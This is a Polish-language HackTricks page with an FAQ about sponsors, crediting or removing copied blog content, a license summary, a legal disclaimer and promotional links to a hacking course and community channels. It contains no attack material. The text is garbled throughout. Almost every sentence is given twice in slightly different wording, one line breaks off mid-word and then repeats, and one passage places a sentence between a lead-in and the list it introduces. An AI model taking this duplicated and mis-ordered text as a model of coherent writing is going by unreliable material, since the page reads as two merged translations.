Mamy sponsorów, ponieważ chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli chcą. Dlatego oferujemy ludziom możliwość wsparcia HackTricks poprzez [**sponsorów Githuba**](https://github.com/sponsors/carlospolop), a **istotne firmy cyberbezpieczeństwa** sponsorują HackTricks i **umieszczają reklamy** w książce, zawsze umieszczając reklamy w miejscach, gdzie są **widoczne**, ale **nie przeszkadzają w procesie nauki**, jeśli ktoś skupia się na treści.
Nie znajdziesz w HackTricks irytujących reklam jak w innych blogach, które mają znacznie mniej treści niż HackTricks, ponieważ HackTricks nie jest tworzone w celach komercyjnych.
Nie znajdziesz w HackTricks irytujących reklam jak w innych blogach z dużo mniejszą zawartością niż w HackTricks, ponieważ HackTricks nie jest tworzony w celach komercyjnych.
{% hint style="danger" %}
* **Co powinienem zrobić, jeśli jakaś strona HackTricks opiera się na moim wpisie na blogu, ale nie jest do niego odwołanie?**
* **Co powinienem zrobić, jeśli jakaś strona HackTricks opiera się na moim wpisie na blogu, ale nie jest zreferencjonowana?**
{% endhint %}
**Przepraszamy bardzo. To nie powinno się zdarzyć**. Prosimy o poinformowanie nas za pośrednictwem problemów Github, Twittera, Discorda... o linku do strony HackTricks z treścią i linku do Twojego bloga, a **sprawdzimy to i dodamy tak szybko, jak to możliwe**.
**Przepraszamy bardzo. To nie powinno mieć miejsca**. Proszę, daj nam znać poprzez problemy na Githubie, Twittera, Discord... link do strony HackTricks z treścią i link do Twojego bloga, a **sprawdzimy to i dodamy referencję tak szybko, jak to możliwe**.
{% hint style="danger" %}
* **Co powinienem zrobić, jeśli treść z mojego bloga jest w HackTricks i nie chcę, żeby tam była?**
* **Co powinienem zrobić, jeśli treść z mojego bloga znajduje się w HackTricks i nie chcę, aby tam była?**
{% endhint %}
W każdym przypadku wiedz, że w takim przypadku HackTricks poprawiłby Twoje **SEO** i **zachęcał** ludzi do **sprawdzenia Twojej strony** (ludzie wspominali nam, że od czasu, gdy ich strona jest w HackTricks, otrzymują więcej odwiedzin). Jeśli nadal chcesz, aby treść Twojego bloga została usunięta z HackTricks, daj nam znać.
Należy zauważyć, że posiadanie linków do Twojej strony w HackTricks:
Należy zauważyć, że pytając o to, zdecydowanie **usuniemy każdy link do Twojego bloga**, a także jakąkolwiek treść opartą na nim.
* Poprawia Twoje **SEO**
* Treść jest **tłumaczona na ponad 15 języków**, co umożliwia większej liczbie osób dostęp do tej treści
* **HackTricks zachęca** ludzi do **odwiedzenia Twojej strony** (kilka osób wspomniało nam, że od kiedy ich strona jest w HackTricks, otrzymują więcej odwiedzin)
Jeśli nadal chcesz, aby treść z Twojego bloga została usunięta z HackTricks, daj nam znać, a zdecydowanie **usuniemy każdy link do Twojego bloga** oraz wszelką treść opartą na nim.
{% hint style="danger" %}
* **Co powinienem zrobić, jeśli w HackTricks znajdę skopiowaną treść?**
* **Co powinienem zrobić, jeśli znajdę skopiowaną treść w HackTricks?**
{% endhint %}
**Niestety, ta praktyka mogła mieć miejsce na początku projektu, kiedy ta strona była tylko notatkami pentestera**. Zawsze staramy się **przyznać oryginalnym autorom wszelkie zasługi**. Jeśli znajdziesz stronę z skopiowaną treścią (nawet z odwołaniem do oryginalnego źródła), daj nam znać, a my ją **usuniemy**, **zostawimy link** lub **przepiszemy**.
Zawsze **przypisujemy oryginalnym autorom całą zasługę**. Jeśli znajdziesz stronę z skopiowaną treścią bez podania oryginalnego źródła, daj nam znać, a albo **usuniemy to**, albo **dodamy link przed tekstem**, albo **przepiszemy to dodając link**.
## LICENCJA
Prawa autorskie © Wszelkie prawa zastrzeżone, chyba że zaznaczono inaczej.
Prawa autorskie © Wszelkie prawa zastrzeżone, chyba że określono inaczej.
#### Podsumowanie licencji:
* Atrybucja: Masz prawo do:
* Udostępnianie — kopiowanie i rozpowszechnianie materiału w dowolnym medium lub formacie.
* Adaptacja — remiksowanie, przekształcanie i tworzenie na podstawie materiału.
* Dzielenia się — kopiowania i rozpowszechniania materiału w dowolnym medium lub formacie.
* Adaptacji — miksowania, przekształcania i tworzenia na bazie tego materiału.
#### Dodatkowe warunki:
* Treść osób trzecich: Niektóre części tego bloga/książki mogą zawierać treści pochodzące z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Wykorzystanie takiej treści odbywa się zgodnie z zasadami dozwolonego użytku lub za wyraźną zgodą odpowiednich właścicieli praw autorskich. Prosimy o odniesienie się do oryginalnych źródeł w celu uzyskania szczegółowych informacji na temat licencjonowania treści osób trzecich.
* Autorstwo: Oryginalna treść autorstwa HackTricks podlega warunkom tej licencji. Zachęcamy do przypisywania tej pracy autorowi podczas jej udostępniania lub adaptowania.
* Treści osób trzecich: Niektóre części tego bloga/książki mogą zawierać treści z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Użycie takich treści odbywa się zgodnie z zasadami dozwolonego użytku lub za wyraźną zgodą odpowiednich właścicieli praw autorskich. Prosimy o odniesienie się do oryginalnych źródeł w celu uzyskania konkretnych informacji dotyczących licencjonowania treści osób trzecich.
* Autorstwo: Oryginalna treść autorstwa HackTricks podlega warunkom tej licencji. Zachęcamy do przypisywania tej pracy autorowi podczas jej udostępniania lub adaptacji.
#### Wyjątki:
* Użytek komercyjny: W przypadku pytań dotyczących komercyjnego wykorzystania tej treści prosimy o kontakt.
* Użytek komercyjny: W przypadku zapytań dotyczących komercyjnego wykorzystania tej treści, prosimy o kontakt.
Ta licencja nie przyznaje żadnych praw znaków towarowych ani praw do marki w odniesieniu do treści. Wszystkie znaki towarowe i marki prezentowane w tym blogu/książce są własnością ich odpowiednich właścicieli.
Ta licencja nie przyznaje żadnych praw znaków towarowych ani brandingowych w odniesieniu do treści. Wszystkie znaki towarowe i marki prezentowane w tym blogu/książce są własnością ich odpowiednich właścicieli.
**Korzystając z HackTricks, zgadzasz się przestrzegać warunków tej licencji. Jeśli nie zgadzasz się z tymi warunkami, proszę, nie korzystaj z tej strony internetowej.**
## **Oświadczenie**
{% hint style="danger" %}
Ta książka, 'HackTricks', ma charakter wyłącznie edukacyjny i informacyjny. Treść w tej książce jest udostępniana na zasadzie "takiej, jaka jest", a autorzy i wydawcy nie udzielają żadnych gwarancji ani zapewnień, wyraźnych ani dorozumianych, co do kompletności, dokładności, niezawodności, odpowiedniości lub dostępności informacji, produktów, usług lub związanych z nimi grafik zawartych w tej książce. Jakiekolwiek poleganie na takich informacjach odbywa się wyłącznie na własne ryzyko.
Ta książka, 'HackTricks', jest przeznaczona wyłącznie do celów edukacyjnych i informacyjnych. Zawartość w tej książce jest udostępniana w formie 'tak jak jest', a autorzy i wydawcy nie dokonują żadnych oświadczeń ani gwarancji jakiejkolwiek natury, wyraźnych lub dorozumianych, co do kompletności, dokładności, niezawodności, odpowiedniości lub dostępności informacji, produktów, usług lub związanych z nimi grafik zawartych w tej książce. Jakiekolwiek poleganie na takich informacjach odbywa się więc wyłącznie na własne ryzyko użytkownika.
Autorzy i wydawcy nie ponoszą żadnej odpowiedzialności za jakąkolwiek stratę lub szkodę, w tym, między innymi, pośrednią lub wynikową stratę lub szkodę, ani za jakiekolwiek straty lub szkody wynikające z utraty danych lub zysków wynikających z korzystania z tej książki.
Autorzy i wydawcy nie ponoszą żadnej odpowiedzialności za jakąkolwiek stratę lub szkodę, w tym, między innymi, pośrednią lub wynikową szkodę lub stratę, lub jakąkolwiek inną szkodę lub stratę wynikającą z utraty danych lub zysków wynikających z korzystania z tej książki.
Ponadto, opisane w tej książce techniki i wskazówki są udostępniane wyłącznie w celach edukacyjnych i informacyjnych i nie powinny być wykorzystywane do jakichkolwiek nielegalnych ani szkodliwych działań. Autorzy i wydawcy nie popierają ani nie wspierają żadnych nielegalnych ani nieetycznych działań, a jakiekolwiek wykorzystanie informacji zawartych w tej książce odbywa się na własne ryzyko i według własnego uznania użytkownika.
Ponadto techniki i wskazówki opisane w tej książce są udostępniane wyłącznie w celach edukacyjnych i informacyjnych, i nie powinny być używane do jakichkolwiek nielegalnych lub szkodliwych działań. Autorzy i wydawcy nie popierają ani nie wspierają żadnych nielegalnych ani niemoralnych działań, a każde wykorzystanie informacji zawartych w tej książce odbywa się na własne ryzyko i według własnego uznania użytkownika.
Użytkownik jest wyłącznie odpowiedzialny za wszelkie działania podjęte na podstawie informacji zawartych w tej książce i powinien zawsze szukać profesjonalnej porady i pomocy przy próbie wdrożenia jakiejkolwiek z opisanych tu technik lub wskazówek.
Użytkownik ponosi wyłączną odpowiedzialność za wszelkie działania podejmowane na podstawie informacji zawartych w tej książce, i zawsze powinien szukać profesjonalnej porady i pomocy przy próbie wdrożenia któregokolwiek z opisanych tu technik lub wskazówek.
Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców od jakiejkolwiek odpowiedzialności za wszelkie szkody, straty lub szkody, które mogą wyniknąć z korzystania z tej książki lub jakiejkolwiek informacji w niej zawartych.
Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców od wszelkiej odpowiedzialności za jakiekolwiek szkody, straty lub szkody, które mogą wyniknąć z korzystania z tej książki lub jakichkolwiek informacji w niej zawartych.
{% endhint %}
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzin
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na Githubie.
</details>